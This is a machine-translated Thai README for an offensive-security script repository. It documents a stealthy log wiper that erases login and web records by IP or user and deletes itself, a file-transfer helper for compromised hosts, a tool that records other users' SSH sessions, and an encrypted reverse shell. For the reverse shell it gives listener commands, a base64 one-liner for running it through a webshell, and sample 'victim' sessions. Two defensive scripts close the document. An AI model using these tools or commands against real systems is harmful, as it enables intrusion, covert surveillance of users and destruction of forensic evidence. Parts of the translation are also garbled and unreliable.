ที่เก็บนี้มีสคริปต์ซึ่งอาจมีประโยชน์ในระหว่างกิจกรรมการต่อสู้อิสระของคุณ มันจะได้รับการอัปเดตเป็นครั้งคราวเมื่อฉันพบว่าตัวเองต้องการสิ่งที่ฉันไม่สามารถหาได้ทางออนไลน์ ทุกอย่างที่นี่มีการแจกจ่ายภายใต้ข้อกำหนดของใบอนุญาต GPL V3
การมีส่วนร่วมและคำขอดึงยินดีต้อนรับอย่างมาก
เครื่องทำความสะอาดบันทึกซึ่งลบรายการที่มีการฟ้องร้องใน:
/var/run/utmp
, /var/log/wtmp
, /var/log/btmp
(ควบคุมเอาต์พุตของคำสั่ง who
, w
และ last
)/var/log/lastlog
(ควบคุมเอาต์พุตของคำสั่ง lastlog
)/var/**/*.log
(.log.1, .log.2.gz ฯลฯ รวมอยู่ด้วย)รายการจะถูกลบตามที่อยู่ IP และ/หรือชื่อโฮสต์ที่เกี่ยวข้อง
มีการดูแลเป็นพิเศษเพื่อหลีกเลี่ยงการทำลายตัวบ่งชี้ไฟล์ในขณะที่การดัดแปลงบันทึก ซึ่งหมายความว่าบันทึกยังคงถูกเขียนไปหลังจากที่พวกเขาได้รับการดัดแปลงทำให้การทำความสะอาดชัดเจนน้อยลงมาก งานทั้งหมดเกิดขึ้นในไดรฟ์ TMPFS และไฟล์ใด ๆ ที่สร้างขึ้นจะถูกเช็ดอย่างปลอดภัย
คำเตือน: สคริปต์ได้รับการทดสอบบน Linux เท่านั้นและจะไม่สามารถทำความสะอาดรายการ UTMP ในรสชาติ UNIX อื่น ๆ
usage: nojail.py [-h] [--user USER] [--ip IP] [--hostname HOSTNAME]
[--verbose] [--check]
[log_files [log_files ...]]
Stealthy log file cleaner.
positional arguments:
log_files Specify any log files to clean in addition to
/var/**/*.log.
optional arguments:
-h, --help show this help message and exit
--user USER, -u USER The username to remove from the connexion logs.
--ip IP, -i IP The IP address to remove from the logs.
--hostname HOSTNAME The hostname of the user to wipe. Defaults to the rDNS
of the IP.
--regexp REGEXP, -r REGEXP
A regular expression to select log lines to delete
(optional)
--verbose, -v Print debug messages.
--check, -c If present, the user will be asked to confirm each
deletion from the logs.
--daemonize, -d Start in the background and delete logs when the
current session terminates. Implies --self-delete.
--self-delete, -s Automatically delete the script after its execution.
โดยค่าเริ่มต้นหากไม่มีการให้อาร์กิวเมนต์สคริปต์จะพยายามกำหนดที่อยู่ IP เพื่อขัดผิวตามตัวแปรสภาพแวดล้อม SSH_CONNECTION
รายการใด ๆ ที่ตรงกับ DNS ย้อนกลับของ IP นั้นจะถูกลบออกเช่นกัน
./nojail.py --user root --ip 151.80.119.32 /etc/app/logs/access.log --check
... จะลบรายการทั้งหมดสำหรับรูทผู้ใช้ที่ที่อยู่ IP คือ 151.80.119.32 หรือชื่อโฮสต์คือ manalyzer.org
ผู้ใช้จะได้รับแจ้งก่อนที่จะลบแต่ละระเบียนเนื่องจากตัวเลือก --check
ในที่สุดไฟล์ /etc/app/logs/access.log
จะถูกประมวลผลนอกเหนือจากค่าเริ่มต้นทั้งหมด
หากโฟลเดอร์ได้รับเป็นอาร์กิวเมนต์ตำแหน่ง ( /etc/app/logs/
ตัวอย่าง) สคริปต์จะรวบรวมข้อมูลซ้ำและทำความสะอาดไฟล์ใด ๆ ด้วยส่วนขยาย .log
( *.log.1, *.log.2.gz ฯลฯ . รวมอยู่ด้วย).
คุณอาจต้องการลบบรรทัดโดยพลการออกจากไฟล์บันทึกเช่นกัน ในการทำเช่นนั้นให้ใช้ตัวเลือก --regexp
ตัวอย่างเช่นบรรทัดคำสั่งต่อไปนี้จะค้นหาคำขอโพสต์ทั้งหมดไปยังไฟล์ PHP จาก IP ที่ระบุ:
./nojail.py --ip 151.80.119.32 --regexp "POST /.*?.php"
./nojail.py --daemonize
สมมติว่าสิ่งนี้เรียกใช้จากการเชื่อมโยง SSH คำสั่งนี้จะลบบันทึกทั้งหมดที่เกี่ยวข้องกับกิจกรรมของผู้ใช้ปัจจุบันด้วยที่อยู่ IP ที่ตรวจพบและชื่อโฮสต์ทันทีหลังจากปิดการเชื่อมต่อ สคริปต์นี้จะลบตัวเองโดยอัตโนมัติ โปรดจำไว้ว่าคุณจะไม่มีโอกาสได้รับข้อความแสดงข้อผิดพลาดจากแอปพลิเคชัน คุณได้รับการสนับสนุนให้ลองลบบันทึกหนึ่งครั้งก่อนที่จะวางไข่ปีศาจเพื่อให้แน่ใจว่าอาร์กิวเมนต์ที่คุณระบุนั้นถูกต้อง หากคุณอยู่ในเชลล์ที่ไม่มี TTY สคริปต์จะไม่สามารถตรวจจับได้เมื่อเซสชันสิ้นสุดลง คุณจะได้รับแจ้งว่าบันทึกจะถูกลบใน 60 วินาทีและคุณควรออกจากระบบก่อนหน้านั้น (หรือเสี่ยงต่อการสร้างรายการเพิ่มเติมหลังจากที่สคริปต์ทำงาน)
root@proxy:~# ./nojail.py
[ ] Cleaning logs for root (XXX.XXX.XXX.XXX - domain.com).
[*] 2 entries removed from /var/run/utmp!
[*] 4 entries removed from /var/log/wtmp!
[ ] No entries to remove from /var/log/btmp.
[*] Lastlog set to 2017-01-09 17:12:49 from pts/0 at lns-bzn-XXX-XXX-XXX-XXX-XXX.adsl.proxad.net
[*] 4 lines removed from /var/log/nginx/error.log!
[*] 11 lines removed from /var/log/nginx/access.log!
[*] 4 lines removed from /var/log/auth.log!
สคริปต์นี้มีให้โดยไม่มีการรับประกันใด ๆ อย่าโทษฉันมันไม่ได้เช็ดร่องรอยของสิ่งที่คุณไม่ควรทำตั้งแต่แรก
สคริปต์การแชร์ไฟล์แบบพกพาและปลอดภัย ในขณะที่การต่อสู้อิสระโดยทั่วไปเป็นไปไม่ได้ที่จะไฟล์ SCP ลงในเครื่องที่ถูกบุกรุก จำเป็นต้องใช้วิธีการอื่นในการอัปโหลดไฟล์ แต่บริการการแชร์ส่วนใหญ่มีความเข้มงวดเกินไปหรือไม่ได้ให้วิธีดึงไฟล์ได้อย่างง่ายดายจากบรรทัดคำสั่ง ข้อควรพิจารณาด้านความปลอดภัยอาจป้องกันไม่ให้ผู้คนอัปโหลดไฟล์ที่ละเอียดอ่อนไปยังผู้ให้บริการคลาวด์เพราะกลัวว่าพวกเขาจะเก็บสำเนาไว้ตลอดไป
สคริปต์ทุบตีขนาดเล็กและพกพานี้อาศัย Transfer.sh เพื่อแก้ปัญหานั้น มัน...
torify
โดยอัตโนมัติหากมีอยู่ในระบบเพื่อเพิ่มความไม่แน่นอน การพึ่งพาเพียงอย่างเดียวที่จำเป็นคือ openssl
และ curl
หรือ wget
root@proxy:~# ./share.sh ~/file_to_share "My_Secure_Encryption_Key!"
Success! Retrieval command: ./share.sh -r file_to_share "My_Secure_Encryption_Key!" https://transfer.sh/BQPFz/28239
root@proxy:~# ./share.sh -r file_to_share "My_Secure_Encryption_Key!" https://transfer.sh/BQPFz/28239
File retrieved successfully!
อาร์กิวเมนต์เพิ่มเติมในระหว่างการอัปโหลดช่วยให้คุณสามารถควบคุมจำนวนการดาวน์โหลดสูงสุดที่อนุญาตสำหรับไฟล์ ( -m
) และจำนวนวันที่ transfer.sh จะเก็บไว้ ( -d
) ค่าเริ่มต้นสำหรับตัวเลือกทั้งสองนี้คือ 1
คำเตือน : อย่าใช้ช่องว่างในคีย์การเข้ารหัสหรือเฉพาะคำแรกของวลีรหัสผ่านของคุณเท่านั้นที่จะนำมาพิจารณา นี่เป็นเพราะวิธีที่ getopts
จัดการกับข้อโต้แย้ง (ฉันคิดว่า) ยินดีต้อนรับคำขอดึงหากใครสนใจแก้ไขปัญหานี้
AutoJack เป็นสคริปต์สั้น ๆ ที่ใช้ประโยชน์จาก ShellJack ของ EmptyMonkey เพื่อบันทึกเทอร์มินัลของผู้ใช้ที่เชื่อมต่อผ่าน SSH มันดู auth.log
สำหรับการเชื่อมต่อที่ประสบความสำเร็จตัวเลข PID ของกระบวนการ bash
ของผู้ใช้และทิ้งส่วนที่เหลือไว้ที่ shelljack
เปิดใช้งานใน หน้าจอ และรอจนกว่าผู้ใช้รายอื่นจะลงชื่อเข้าใช้ เซสชั่นของพวกเขาจะถูกบันทึกไปที่ /root/.local/sj.log.[user].[timestamp]
สคริปต์ไม่ได้เป็นเรื่องลับ ๆ ล่อ ๆ (ไม่มีความพยายามในการซ่อนกระบวนการ shelljack
) แต่จะทำให้งานเสร็จ โปรดทราบว่าเพื่อหลีกเลี่ยงการกระทำผิดด้วยตนเองผู้ใช้ root
จะไม่ได้รับการกำหนดเป้าหมาย (ซึ่งสามารถแสดงความคิดเห็นได้เล็กน้อยในรหัส)
Listurl เป็นเว็บไซต์รวบรวมข้อมูลหลายเธรดซึ่งได้รับรายการหน้าเว็บที่มีอยู่จากเป้าหมาย สคริปต์นี้มีประโยชน์สำหรับนักล่าบั๊กที่พยายามสร้างพื้นผิวการโจมตีของเว็บแอปพลิเคชัน
usage: listurl.py [-h] [--max-depth MAX_DEPTH] [--threads THREADS] [--url URL]
[--external] [--subdomains] [-c COOKIE]
[--exclude-regexp EXCLUDE_REGEXP]
[--show-regexp SHOW_REGEXP] [--verbose]
Map a website by recursively grabbing all its URLs.
optional arguments:
-h, --help show this help message and exit
--max-depth MAX_DEPTH, -m MAX_DEPTH
The maximum depth to crawl (default is 3).
--threads THREADS, -t THREADS
The number of threads to use (default is 10).
--url URL, -u URL The page to start from.
--external, -e Follow external links (default is false).
--subdomains, -d Include subdomains in the scope (default is false).
-c COOKIE, --cookie COOKIE
Add a cookies to the request. May be specified
multiple times.Example: -c "user=admin".
--exclude-regexp EXCLUDE_REGEXP, -r EXCLUDE_REGEXP
A regular expression matching URLs to ignore. The
givenexpression doesn't need to match the whole URL,
only a partof it.
--show-regexp SHOW_REGEXP, -s SHOW_REGEXP
A regular expression filtering displayed results. The
given expression is searched inside the results, it
doesn't have tomatch the whole URL. Example: .php$
--no-certificate-check, -n
Disables the verification of SSL certificates.
--output-file OUTPUT_FILE, -o OUTPUT_FILE
The file into which the obtained URLs should be
written
--verbose, -v Be more verbose. Can be specified multiple times.
นี่คือตัวอย่างตัวอย่างสำหรับเว็บไซต์ขนาดเล็ก:
./listurl.py -u https://manalyzer.org
[*] Started crawling at depth 1.
[*] Started crawling at depth 2....
[*] Started crawling at depth 3.
[*] URLs discovered:
https://manalyzer.org/report/f32d9d9ff788998234fe2b542f61ee2c (GET)
https://manalyzer.org/report/eb4d2382c25c887ebc7775d56c417c6a (GET)
https://manalyzer.org/report/ca127ebd958b98c55ee4ef277a1d3547 (GET)
https://manalyzer.org/upload (POST)
https://manalyzer.org/report/dd6762a2897432fdc7406fbd2bc2fe18 (GET)
https://manalyzer.org/report/2fba831cab210047c7ec651ebdf63f50 (GET)
https://manalyzer.org/report/029284d88f7b8586059ddcc71031c1f1 (GET)
https://manalyzer.org/ (GET)
https://manalyzer.org/report/83f3c2b72e3b98e2a72ae5fdf92c164e (GET)
https://manalyzer.org/report/1bf9277cc045362472d1ba55e4d31dd5 (GET)
https://manalyzer.org/report/af09bf587303feb4a9e9088b17631254 (GET)
https://manalyzer.org/report/508d8094be65eaae4d481d40aacb2925 (GET)
https://manalyzer.org/report/0e8592aa78d6e5a14043ab466601ef9b (GET)
https://manalyzer.org/report/b52ddc0dda64f35721d5692e168ad58c (GET)
https://manalyzer.org (GET)
https://manalyzer.org/bounty (GET)
https://manalyzer.org/search (POST)
ตัวเลือก --exclude-regexp
และ --show-regexp
ใช้เพื่อควบคุม URL ที่ควรแสดงหรือละเว้น ตัวอย่างเช่นในตัวอย่างข้างต้นคุณอาจต้องการเพิกเฉยต่อหน้าเว็บที่น่าจะคล้ายกันมาก:
./listurl.py -u https://manalyzer.org --exclude-regexp "/report/"
[*] Started crawling at depth 1.
[*] Started crawling at depth 2...
[*] Started crawling at depth 3.
[*] URLs discovered:
https://manalyzer.org (GET)
https://manalyzer.org/bounty (GET)
https://manalyzer.org/upload (POST)
https://manalyzer.org/search (POST)
https://manalyzer.org/ (GET)
โปรดทราบว่า URL ที่ตรงกันจะ ไม่ ถูกรวบรวมข้อมูล สิ่งนี้มีประโยชน์อย่างยิ่งเมื่อสคริปต์หายไปในหน้าความคิดเห็นลึกหรือเนื้อหาซ้ำ ๆ อีกวิธีหนึ่งคุณอาจสนใจสคริปต์ PHP เท่านั้น: ./listurl.py --show-regexp ".php$"
โดยค่าเริ่มต้นตัวรวบรวมข้อมูลจะลึกลงไป 3 ระดับเท่านั้น นี่คือสิ่งที่คุณสามารถควบคุมได้ด้วยตัวเลือก --max-depth
ข้อพิจารณาอีกประการหนึ่งคือ URL ที่ชี้ไปที่โดเมนภายนอกควรปฏิบัติตามหรือไม่ โดยค่าเริ่มต้นสคริปต์ไม่ได้ แต่คุณสามารถเปิดใช้งานสิ่งนี้ได้โดยการตั้งค่าสวิตช์ --external
หากคุณไม่สนใจโดเมนภายนอกแบบสุ่ม แต่ยังต้องการขยายการรวบรวมข้อมูลไปยังโดเมนย่อยคุณสามารถตั้งค่าสวิตช์ --subdomains
:
./listurl.py -u https://google.com --subdomains
[*] Started crawling at depth 1.
[*] Started crawling at depth 2.^C
Interrupt caught! Please wait a few seconds while the threads shut down...
[*] URLs discovered:
https://drive.google.com/drive/ (GET)
https://google.com/../../policies/privacy/example/phone-number.html (GET)
https://play.google.com/store/books/details/Markus_Heitz_Le_Secret_de_l_eau_noire?id=Oh1rDgAAQBAJ (GET)
https://play.google.com/store/books/details/Leslie_Kelly_Face_au_d%C3%A9sir?id=mUtyDAAAQBAJ (GET)
https://mail.google.com/mail/?tab=Tm (GET)
https://google.com/../../policies/privacy/example/your-activity-on-other-sites-and-apps.html (GET)
https://google.com/locations/ (GET)
[...]
โปรดสังเกตว่าหากสคริปต์ใช้เวลานานเกินไปคุณสามารถกด Ctrl+C ได้ตลอดเวลาเพื่อปิดมัน จากนั้นคุณจะแสดงหน้าเว็บที่ค้นพบจนถึงตอนนี้
หากคุณต้องการเข้าถึงหน้าเว็บที่ได้รับการรับรองความถูกต้องบนเว็บไซต์คุณสามารถให้คุกกี้กับ Listurl.py จากบรรทัดคำสั่งด้วยตัวเลือก --cookie
ในที่สุดหากคุณกำลังทำงานบนเว็บไซต์ที่มีใบรับรอง SSL ที่ไม่ถูกต้องหรือลงนามด้วยตนเองให้ใช้ตัวเลือก --no-certificate-check
เพื่อเพิกเฉยต่อข้อผิดพลาด SSL
ersh
เป็นเปลือกย้อนกลับที่เข้ารหัสที่เขียนด้วย Python บริสุทธิ์ เคยอยู่ในกล่องที่ไม่มียูทิลิตี้มาตรฐานหรือเครื่องมือรวบรวมและไม่มีวิธีง่าย ๆ ในการอัปโหลดไบนารีหรือไม่? คุณกลัวมากกว่า IDs จะสังเกตเห็นเปลือกขาออกหรือไม่? ปิดผู้ฟัง Netcat ของคุณโดยไม่ตั้งใจเพราะคุณกด ^C
? ไม่ต้องทนทุกข์ทรมานอีกต่อไป
ersh
เสนอคุณสมบัติต่อไปนี้:
สำหรับการอภิปรายโดยละเอียดเพิ่มเติมเกี่ยวกับเครื่องมือนี้เป็นอย่างไรโปรดดูที่โพสต์บล็อกนี้
สคริปต์นี้ ต้องได้รับการแก้ไข ก่อนที่จะใช้งานได้! มองหาเครื่องหมายนี้ใกล้จุดเริ่มต้น:
###############################################################################
# EDIT THE PARAMETERS BELOW THIS LINE
###############################################################################
HOST
และ PORT
เป็นคำอธิบายตนเอง แต่คุณอาจต้องการความช่วยเหลือเพิ่มเติมสำหรับใบรับรอง SSL อย่างไรก็ตามไม่มีใครต้องการต่อสู้กับลูกค้าของ OpenSSL ดังนั้นคุณสามารถใช้หนึ่งตอร์ปิโดต่อไปนี้:
openssl req -new -newkey rsa:2048 -days 50 -nodes -x509 -subj "/C=US/ST=Maryland/L=Fort Meade/O=NSA/CN=www.nsa.gov" -keyout server.key -out server.crt && cat server.key server.crt > server.pem && openssl dhparam 2048 >> server.pem
openssl req -new -newkey rsa:2048 -days 50 -nodes -x509 -subj "/C=US/ST=Maryland/L=Fort Meade/O=NSA/CN=www.nsa.gov" -keyout client.key -out client.crt
แค่ไหน! ตอนนี้คุณควรมีไฟล์ใหม่ห้าไฟล์ในโฟลเดอร์ปัจจุบันของคุณ: server.(crt|key|pem)
และ client.(crt|key)
บางคนต้องใส่ในสคริปต์เพื่อให้เชลล์ย้อนกลับและผู้ฟังสามารถรับรองความถูกต้องซึ่งกันและกัน โดยเฉพาะ:
client_key
ควรมีเนื้อหาของ client.key
client_crt
ควรมีเนื้อหาของ client.crt
server_crt
ควรมีเนื้อหาของ server.crt
ไม่จำเป็นต้องแก้ไขอีกต่อไป
เมื่อพิจารณาว่าการปฏิเสธ TLS เต็มรูปแบบกำลังจะดำเนินการต่อผู้ฟัง nc
แบบดั้งเดิมจะไม่พอเพียงที่นี่ socat
ได้รับเลือกสำหรับงานนี้เนื่องจากความสามารถในการจัดการการเข้ารหัสและ TTY ในการแจกแจงที่ใช้ Debian คุณควรจะได้รับมันโดยเพียงแค่ใช้ sudo apt-get install socat
สมมติว่าคุณยังอยู่ในโฟลเดอร์ที่คุณสร้างกุญแจและใบรับรองและคุณต้องการฟังบนพอร์ต 443 นี่คือบรรทัดคำสั่งที่คุณควรทำงานบนเครื่องที่เชลล์ย้อนกลับจะมาถึง:
socat openssl-listen:443,reuseaddr,cert=server.pem,cafile=client.crt,method=TLS1 file:`tty`,raw,echo=0
คุณไม่จำเป็นต้องคัดลอกสคริปต์ไปยังเครื่องระยะไกลเพื่อให้ทำงานได้ นี่คือวิธีง่ายๆในการเรียกใช้จากเปลือกที่ไม่โต้ตอบ คัดลอกสคริปต์ทั้งหมดไปยังคลิปบอร์ดของคุณและเรียกใช้คำสั่งต่อไปนี้ในเหยื่อ:
python - <<'EOF'
[paste script contents here]
'EOF'
หากคุณกำลังพยายามเปิดตัว ersh.py
จากสภาพแวดล้อมที่ไม่รองรับหลายบรรทัด (เช่น WeeVely) คุณสามารถลองสร้างสายการบินแบบนี้ได้เช่นนี้:
root@attacker:~/freedomfighting# gzip -c ersh.py | base64
H4sICPMsblkAA2UucHkA1Vp5k6O4kv+fT8FUx8RULdU2PsB27asXCxh8Ajbgs2eiHocwmNMcxvjT
r4Rdd0/PvNiZjV0iqgxSKpXK45cpxJef6nma1A03rMdl5kQhdnNzg4EkdWpxiRsl/l/jPM1cEyj6
[...]
weevely> echo "H4sICPMsblkAA2..." | base64 -d | gunzip | python
บนเครื่องรับ:
root@attacker:~/freedomfighting# socat openssl-listen:8080,reuseaddr,cert=server.pem,cafile=client.crt,method=TLS1 file:`tty`,raw,echo=0
ในเหยื่อ:
root@victim:~# python ersh.py
[*] Connection established!
root@victim:~#
และบนเครื่องรับอีกครั้ง:
root@attacker:~/freedomfighting# socat openssl-listen:8080,reuseaddr,cert=server.pem,cafile=client.crt,method=TLS1 file:`tty`,raw,echo=0
root@victim:~# unset HISTFILE
root@victim:~#
สคริปต์นี้เขียนขึ้นเพื่อตรวจจับการโจมตีของแม่บ้านที่ชั่วร้าย มันทำได้โดยการตรวจสอบเวลาบูตหากฮาร์ดไดรฟ์เปิดใช้งาน แต่ไม่ใช่ระบบปฏิบัติการ (ตัวอย่างเช่นหากนำออกจากคอมพิวเตอร์เพื่อทำสำเนาหรือหากมีคนพยายามบูตเครื่อง แต่หยุดด้วยรหัสผ่าน FDE ).
คุณต้องตรวจสอบให้แน่ใจว่าสคริปต์นี้จะทำงานในทุกการบูต คำแนะนำต่อไปนี้จะทำงานเกี่ยวกับการแจกแจงโดยใช้ SystemD
/etc/systemd/system/
แก้ไขเส้นทางภายในตามต้องการ สคริปต์จะทำงานเป็นรากฟันดังนั้นตรวจสอบให้แน่ใจว่ามันไม่สามารถเขียนได้ในโลก!#> systemctl enable boot_check.service
ติดตั้งการพึ่งพา:
#> apt install smartmontools dialog
เรียกใช้สคริปต์หนึ่งครั้งเพื่อเริ่มต้น:
#> ./boot_check.py
หากข้อความยืนยันปรากฏขึ้นคุณก็พร้อมที่จะไป
หากคุณต้องการให้แน่ใจว่าสคริปต์ใช้งานได้ตรวจสอบให้แน่ใจว่าคุณทำสิ่งต่อไปนี้:
สคริปต์นี้ถูกสร้างขึ้นเพื่อให้วิธีง่ายๆในการ "booby-trap" executables บางอย่างในระบบ Linux แนวคิดคือการตรวจจับผู้บุกรุกเมื่อพวกเขาใช้ไบนารีบางอย่าง ( id
, whoami
, gcc
) บนเซิร์ฟเวอร์ที่พวกเขาไม่ได้เป็นเจ้าของ
เพื่อปกป้องไบนารีเหล่านั้น notify_hook.py
สร้างลิงก์สัญลักษณ์ไปยังสคริปต์นี้ที่สูงขึ้นใน PATH
notify_hook
จะส่งการแจ้งเตือนและโทรหาโปรแกรมที่ตั้งใจไว้ในแบบโปร่งใส ตัวอย่างเช่นหากคุณต้องการ "ป้องกัน" id
เพียงสร้าง symlink ต่อไปนี้บนเครื่องของคุณ:
ln -s path/to/notify_hook.py /usr/local/bin/id
... และการโทรไปยัง id
ในอนาคตทั้งหมดควรถูกส่งผ่านสคริปต์นี้ เห็นได้ชัดว่านี่ไม่ใช่วิธีที่เข้าใจผิดได้ในการตรวจจับแฮ็กเกอร์ในระบบของคุณ แต่ก็ควรจับผู้บุกรุกที่ประมาทมากที่สุด
บางโปรแกรมและสคริปต์ในระบบของคุณอาจเรียกใช้ไบนารีบางส่วนที่คุณต้องการปกป้อง ในกรณีนี้คุณสามารถแก้ไขตัวแปรที่เรียกว่า CALLER_WHITELIST
วางไว้ที่จุดเริ่มต้นของสคริปต์ ใส่ชื่อของกระบวนการเหล่านั้นในรายการเพื่อปิดใช้งานการแจ้งเตือนจากพวกเขา (ยอมรับการแสดงออกปกติ)
วิธีการแจ้งเตือนปัจจุบันที่ใช้ในสคริปต์นี้เป็นข้อความที่ส่งสัญญาณ thtough ด้วยสัญญาณของ Asamk คุณจะต้องติดตั้งโครงการนี้แยกต่างหากหากคุณต้องการใช้งานหรือมีแนวโน้มที่จะแทนที่ฟังก์ชั่น notify_callback
ที่อยู่ด้านบนของ notify_hook.py
ด้วยสิ่งที่เหมาะสมกับความต้องการของคุณ